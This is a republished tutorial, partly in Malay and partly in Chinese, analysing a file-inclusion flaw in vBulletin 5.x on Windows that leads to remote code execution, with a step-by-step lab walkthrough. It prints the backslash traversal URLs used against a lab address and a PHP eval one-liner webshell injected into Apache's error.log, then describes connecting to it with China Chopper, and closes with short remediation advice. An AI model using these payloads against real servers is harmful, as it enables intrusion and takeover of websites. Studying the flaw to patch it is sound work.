Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

王林
王林ke hadapan
2023-05-19 23:46:041330semak imbas

1. Pengenalan Kerentanan

Terdapat isu kemasukan fail dalam vBulletin, yang membenarkan pelawat berniat jahat memasukkan fail daripada pelayan vBulletin dan melaksanakan kod PHP sewenang-wenangnya. Pelawat berniat jahat yang tidak disahkan boleh mencetuskan kerentanan kemasukan fail dengan mengeluarkan permintaan GET yang mengandungi parameter routestring= kepada index.php, akhirnya membawa kepada kerentanan pelaksanaan kod jauh

2. Prinsip kerentanan

Apabila halaman index.php menghantar permintaan GET untuk menyertakan fail setempat menggunakan parameter rentetan laluan, ia memanggil fungsi fungsi lapisan demi lapisan untuk menapis nilai rentetan laluan. Mari lihat kod pemprosesan utama.

Kod ini terletak dalam /includes/vb5/frontend/routing.php fail

if  (strlen($path)  >  2  )            {                $ext = strtolower(substr($path,  -4))  ;              if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg')  OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))          {                header("HTTP/1.0 404 Not Found");            die('');          }    }

Kod ini menentukan sama ada nilai yang diperolehi oleh routestring adalah dalam bentuk .gif, .png, .jpg , .css atau .jsTamat, jika ya, maklumat pengepala mengembalikan 404

if  (strpos($path,  '/')  ===  false)            {                $this->controller  =  'relay';              $this->action  =  'legacy';              $this->template  =  '';              $this->arguments  =  array($path);              $this->queryParameters  =  array();              return;          }

Fungsi strpos() dalam kod ini mengembalikan kedudukan di mana aksara / mula-mula muncul dalam $path, jika maklumat pemulangan ialah false akan meneruskan pemprosesan, yang bermaksud / tidak boleh muncul dalam laluan.

Untuk pelayan Linux, apabila memproses URL, / mewakili pemisah dan penunjuk lapisan direktori, jadi fail lain dalam tapak web tidak boleh disertakan dalam bentuk berbilang ../. Walau bagaimanapun, untuk pelayan Windows, / dan adalah setara apabila menyatakan laluan, tetapi program tidak memprosesnya, yang membawa kepada kerentanan kemasukan fail ini untuk pelayan Windows.

Versi terjejas

Nombor versi vBulletin v5.x Penemu kelemahan telah menghubungi pengilang tetapi belum menerima balasan lagi

3. Eksploitasi Kerentanan

Dalam bahagian praktikal seterusnya, kami akan mendalami secara beransur-ansur pemahaman dan penggunaan kelemahan Pertama, gunakan halaman untuk melaporkan ralat dan mendapatkan maklumat berkaitan pelayan; pelayan dan jalankan phpinfo() untuk mengesahkan pelaksanaan kod dan akhirnya masukkan Tulis ayat dalam PHP ke fail log tapak web untuk mendapatkan kebenaran pengurusan laman web.

Langkah 1 Pengesahan Kerentanan

Dalam langkah ini, kami hanya menggunakan laporan ralat untuk mendapatkan maklumat pelayan, dan kemudian menggunakan kelemahan untuk memasukkan pelaksanaan fungsi phpinfo() untuk pengesahan

1. Buka URL sasaran 172.16.12.2/vb5/index.php, laman utama tapak web adalah seperti berikut:

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

2. Lawati kerentanan halaman dan lihat mesej ralat

Buka 172.16 dalam penyemak imbas .12.2/vb5/index.php?routestring=.\, mesej ralat adalah seperti berikut:

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

Anda boleh melihat bahawa halaman menggunakan require_once() untuk memasukkan laluan semasa (C:phpstudyWWWvb5/core/ .\) tidak dibenarkan dan ralat dilaporkan Mesej ralat membocorkan laluan mutlak tapak web dan tapak web perisian binaan: phpstudy

phpstudy Apabila membina laman web, l.php dan phpinfo akan ditinggalkan dalam direktori akar laman web secara lalai, biasanya pentadbir laman web akan memadam atau mengubah suai kedua-dua fail ini mempunyai maksud melarikan diri, dan \ dan adalah bersamaan apabila menyatakan laluan, jadi kami menggunakan \ untuk menghalangnya daripada melarikan diri (percubaan ini juga boleh diselesaikan)

3 Akses fail phpinfo.txt

Untuk mengesahkan bahawa kelemahan itu terkandung, terdapat fail phpinfo.txt dalam direktori akar tapak web dengan kandungan

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

Tapak web secara langsung memaparkan kandungan teks

4. Sertakan phpinfo.txt fail

Kami kemudian cuba memasukkan fail dan membuka pautan yang dibinahttp://172.16.12.2/vb5/index.php?routestring=\..\..\ ..\.. \..\..\phpstudy\WWW\phpinfo.txt

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

Di sini kita sudah mengetahui laluan mutlak tapak web pada pelayan, Oleh itu, berbilang . .\ plus laluan fail digunakan untuk mewakili laluan tapak web fail yang disertakan Selepas memasukkan fail, pelayan menghuraikan fail sebagai fail php dan melaksanakan fungsi phpinfo().

phpinfo(): PHP fungsi terbina dalam, mengeluarkan maklumat konfigurasi pelayan PHP

Langkah 2 Eksploitasi Kerentanan

Secara amnya , PHP Kaedah mengeksploitasi kelemahan pemasukan fail adalah dengan menggunakan titik muat naik tapak web terlebih dahulu untuk memuat naik fail yang mengandungi kod hasad, kemudian mencari laluan fail yang dimuat naik, membina URL dan melaksanakan kod hasad dengan memasukkan kelemahan. Walau bagaimanapun, kaedah ini tidak akan berfungsi jika tiada titik muat naik tersedia pada tapak web itu sendiri, atau jika terdapat sekatan pada fail yang dimuat naik supaya kami tidak dapat mengetahui laluan fail, atau jika parameter yang diperoleh semasa input ditapis.

Seperti yang dapat dilihat daripada di atas, program ini mempunyai sekatan pada akhiran fail yang disertakan Jika tiada kegunaan lain, kita boleh memilih untuk memasukkan fail yang wujud di laman web itu sendiri, iaitu cara gunakan dalam percubaan ini: sertakan fail log tapak web

本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log。

1.将一句话写入日志记录

首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。

http://172.16.12.2/vb5/index.php<?php  @eval($_POST[c]);?>

这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

配置浏览器的代理设置:

打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮--》设置,进入设置界面

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

具体配置如下图,修改后确定

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite--》proxy--》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。


Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

我们将被编码的链接改回编码之前的状态,修改后的内容如下:

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

点击 Go按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

我们已经成功的将利用代码写入日志中了

注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行

现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

2.构造Webshell连接地址

们根据日志的路径构造访问路径:

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
  1. 客户端连接一句话

接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)

Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x

包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的

修复方案

  • (1) 等待官方发布补丁,个人用户建议采用可替代的相关产品

  • (2) 企业用户可修改网站源代码,增加\字符的过滤处理

  • (3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用

Atas ialah kandungan terperinci Contoh analisis kelemahan pelaksanaan kod jauh dalam versi vBulletin5.x. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam